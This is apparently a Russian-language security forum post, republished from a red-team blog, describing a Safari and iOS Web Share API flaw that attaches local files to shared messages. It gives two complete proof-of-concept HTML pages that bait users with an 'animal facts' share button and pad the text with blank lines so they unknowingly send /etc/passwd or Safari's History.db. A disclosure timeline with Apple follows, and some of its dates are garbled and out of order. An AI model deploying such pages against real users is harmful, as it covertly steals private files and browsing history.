Vander
Staff member
- Nov 10, 2019
- 468
- 1,158
Приветствую уважаемую аудиторию форума Protey!
В этой статье описан метод кражи содержимого локальных файлов пользователей MacOS и iOS, предлагаю заглянуть в историю браузера и прочесть файл /etc/passwd.
Описание:
Web Share API [https://w3c.github.io/web-share/] позволяет пользователям обмениваться ссылками из браузера через сторонние приложения (например, почту и приложения для обмена сообщениями). Проблема в том, что схема file: разрешена, и когда веб-сайт указывает на URL-адрес, которым целевое устройство намерено поделиться, происходит неожиданное поведение.
В случае, если такая ссылка передается в функцию navigator.share, фактический файл из файловой системы пользователя включается в совместно используемое сообщение, что приводит к раскрытию локального файла, когда пользователь неосознанно делится им.
Проблема не очень серьезная, поскольку требуется взаимодействие с пользователем, однако сделать общий файл невидимым для пользователя довольно легко. Самое близкое сравнение, которое приходит на ум, - это clickjacking, когда мы пытаемся убедить ничего не подозревающего пользователя выполнить какое-либо действие.
Подготовка:
Для начала потребуется контент, которым пользователь поделится в письме или в мессенджере, для тестов возьмем картинку.
Размещаем её на своем веб сервере, предварительно создав в папке с картинкой файл в формате HTML со следующим содержимым:
Code:
<html>
<script>
var opts = {text: 'Useful Animal Facts! http://somerandomimagewebsite.com/unicorn.png\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n', url: 'file:///etc/passwd'};
function run() {
navigator.share(opts);
}
</script>
<body>
Useful Animal Facts
<br/>
<img width="600px" height="496px" src="unicorn.png">
<br/>
<button onclick='run();'>share it with friends!</button>
</body>
</html>
- Заходим на наш сайт https://mydomain/webshare/poc1.html, используя Safari или Mobile Safari
- Нажмите «Share it with friends!»
- Выберите способ (например, почта, сообщения)
- «Send it» или «Share it» (или просто проверьте то, что было прикреплено)
- Получателю был отправлен локальный /etc/passwd
Попробуем подсмотреть историю посещений браузера:
Немного изменим исходный код poc1.html:
Code:
<html>
<script>
var opts = {text: 'Useful Animal Facts! http://somerandomimagewebsite.com/unicorn.png\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n', url: 'file:///private/var/mobile/Library/Safari/History.db'};
function run() {
navigator.share(opts);
}
</script>
<body>
Useful Animal Facts
<br/>
<img width="600px" height="496px" src="unicorn.png">
<br/>
<button onclick='run();'>share it with friends!</button>
</body>
</html>
Code:
file:///private/var/mobile/Library/Safari/History.db
C MacOS такой трюк тоже работает без проблем.
Небольшая видео демонстрация работы метода:
Это было протестировано на iOS (13.4.1, 13.6.1), macOS Mojave 10.14.16 с Safari 13.1 (14609.1.20.111.8) и на macOS Catalina 10.15.5 с Safari 13.1.1 (15609.2.9.1.2).
На сегодняшний день (02.09.2020) исправления нет.
График раскрытия информации:
- 17.04.2020 - Обнаружена проблема, о которой было сообщено в Apple
- 21/04/2020 - Отчет подтвержден Apple, сообщая, что они расследуют проблему
- 22.04.2020 - Отправлен обновленный отчет, содержащий небольшое уточнение
- 28.04.2020 - Запрос об обновлении статуса
- 29.04.2020 - Получен ответ, что отчет анализируется
- 05.11.2020 - Запросили обновление статуса
- 13/05/2020 - Apple ответила, что они все еще исследуют проблему и не имеют обновлений по этой проблеме.
- 06.11.2020 - Запрошен об обновлении статуса, ответа нет
- 07.02.2020 - Запрошен об обновлении статуса, ответа нет
- 13.07.2020 - Запрошен об обновлении статуса, нет ответа
- 21.07.2020 - Запрошен об обновлении статуса и о том, нужно ли Apple больше времени для решения проблемы, поскольку я сообщил, что намерен опубликовать информацию по этому делу после 24.07.2020, если не будет ответа/ возражений со стороны Apple сделать это общедоступным.
- 23.07.2020 - Apple ответила, что ведет расследование и свяжется с ней, как только у них будет обновление
- 08.02.2020 - Запрос на обновление статуса и объявленное раскрытие информации будет 24.08.2020
- 14.08.2020 - Apple ответила, прося не публиковать подробности, поскольку они планируют решить проблему в обновлении безопасности весной 2021 года.
- 17.08.2020 - Ответили, что ждать с раскрытием информации еще почти год, а с момента сообщения о проблеме прошло уже 4 месяца, нецелесообразно
- 24.08.2020 - Опубликован пост - https://blog.redteam.pl/2020/08/stealing-local-files-using-safari-web.html?m=1
- 02.09.2020 - Опубликован пост на protey.net
Спасибо за внимание, материал подготовлен специально для protey.net
Last edited: